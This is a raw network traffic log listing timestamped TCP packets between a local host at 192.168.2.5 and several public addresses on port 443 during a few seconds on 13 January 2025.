Jan 13, 2025 20:18:14.710479021 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:14.711050034 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:14.711074114 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.384246111 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.384463072 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.384495020 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.386125088 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.386189938 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.391211033 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.391300917 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.391613960 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.391658068 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.391846895 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.391880989 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.391884089 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.392018080 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.392129898 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.392142057 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.392201900 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.392213106 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.392221928 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.392570019 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.392589092 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.393095016 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.393110991 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.393290043 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.393311977 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.443577051 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.684986115 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.685125113 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.685185909 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.685216904 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.685247898 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.685373068 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.685394049 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.686897993 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:15.686969995 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.697330952 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:15.697354078 CET	443	49723	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.026457071 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.026865005 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.026891947 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.027375937 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.028003931 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.028085947 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.029268026 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.032663107 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.038352013 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.041078091 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.041079044 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.041093111 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.041094065 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.041937113 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.042236090 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.042355061 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.042488098 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.042754889 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.042835951 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.043138981 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.043231964 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.071348906 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.096795082 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.096793890 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.096803904 CET	443	49729	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.143750906 CET	49729	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.335763931 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.336962938 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.337023973 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.337968111 CET	49728	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.337999105 CET	443	49728	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.339284897 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.339361906 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.339409113 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.339409113 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.339421988 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.339471102 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.339479923 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.346225023 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.346278906 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.346286058 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.346426964 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.346472979 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.346478939 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.349406958 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.349461079 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.349467039 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.402287006 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.426270008 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.426450968 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.426512003 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.426527977 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.429028034 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.429081917 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.429089069 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.435117960 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.435173988 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.435180902 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.441423893 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.441502094 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.441508055 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.447668076 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.447719097 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.447725058 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.454009056 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.454062939 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.454070091 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.459924936 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.459980965 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.459986925 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.465847969 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.465904951 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.465912104 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.471834898 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.471892118 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.471898079 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.477886915 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.477940083 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.477946997 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.512725115 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.512789965 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.512805939 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.512923002 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.512973070 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.512980938 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.514978886 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.515033007 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.515038967 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.515610933 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.515662909 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.515669107 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.515757084 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.515799999 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.515805006 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.521790028 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.521846056 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.521853924 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.526850939 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.526900053 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.526906013 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.532584906 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.532638073 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.532644033 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.538440943 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.538518906 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.538543940 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.544305086 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.544356108 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.544363022 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.549673080 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.549721956 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.549751043 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.554968119 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.555023909 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.555032969 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.560286045 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.560339928 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.560365915 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.565680027 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.565726995 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.565737009 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.570831060 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.570874929 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.570882082 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.575345039 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.575395107 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.575402975 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.579737902 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.579794884 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.579802036 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.584019899 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.584065914 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.584074020 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.588294029 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.588335037 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.588340998 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.592788935 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.592833042 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.592839003 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.596103907 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.596151114 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.596158028 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.600049019 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.600101948 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.600107908 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.604094982 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.604146957 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.604155064 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.607781887 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.607832909 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.607837915 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.610189915 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.610229015 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.610233068 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.610241890 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.610277891 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.612732887 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.614980936 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.615014076 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.615061045 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.615068913 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.615120888 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.617234945 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.619589090 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.619640112 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.619647026 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.621870041 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.621925116 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.621931076 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.624454021 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.624502897 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.624509096 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.626444101 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.626493931 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.626499891 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.628880024 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.628932953 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.628937960 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.631207943 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.631253958 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.631259918 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.631522894 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:16.631572008 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.631958961 CET	49730	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:16.631975889 CET	443	49730	172.217.18.100	192.168.2.5
Jan 13, 2025 20:18:18.967015982 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:18.967087984 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:18.967158079 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:18.967406988 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:18.967439890 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.606836081 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.607781887 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.607819080 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.609364986 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.609452963 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.611418009 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.611510038 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.611696005 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.611711025 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.658072948 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932213068 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932266951 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932298899 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932328939 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932341099 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932377100 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932404041 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932435036 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932463884 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932497025 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932504892 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932518005 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932576895 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932590961 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.932661057 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.932672024 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.936872959 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.936964989 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.936979055 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.958149910 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.958225012 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.958240986 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.961055994 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.961114883 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.961127996 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.967308044 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.967672110 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.967703104 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.973956108 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.974020958 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.974071980 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.976015091 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:19.976044893 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:19.976149082 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:19.976569891 CET	49747	443	192.168.2.5	142.250.185.110
Jan 13, 2025 20:18:19.976584911 CET	443	49747	142.250.185.110	192.168.2.5
Jan 13, 2025 20:18:19.979954958 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.980017900 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.980042934 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.986207962 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.986289978 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.986311913 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.992520094 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.992794037 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.992811918 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.998445988 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:19.998583078 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:19.998600006 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.004365921 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.004422903 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.004436970 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.010199070 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.010253906 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.010266066 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.016153097 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.016210079 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.016222954 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.022619009 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.022696018 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.022708893 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.044897079 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.044962883 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.044987917 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.045000076 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.045058012 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.045080900 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.047717094 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.047771931 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.047785997 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.051728964 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.051812887 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.051826000 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.056334972 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.056395054 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.056407928 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.060772896 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.060839891 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.060852051 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.064949036 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.065025091 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.065026045 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.065049887 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.065098047 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.069336891 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.073724985 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.073797941 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.073806047 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.073827028 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.073877096 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.078327894 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.082576036 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.082636118 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.082649946 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.086935043 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.086993933 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.087006092 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.091340065 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.091411114 CET	49742	443	192.168.2.5	142.250.186.46
Jan 13, 2025 20:18:20.091461897 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.095824003 CET	443	49742	142.250.186.46	192.168.2.5
Jan 13, 2025 20:18:20.095901012 CET	443	49742	142.250.186.46	192.168.2.5
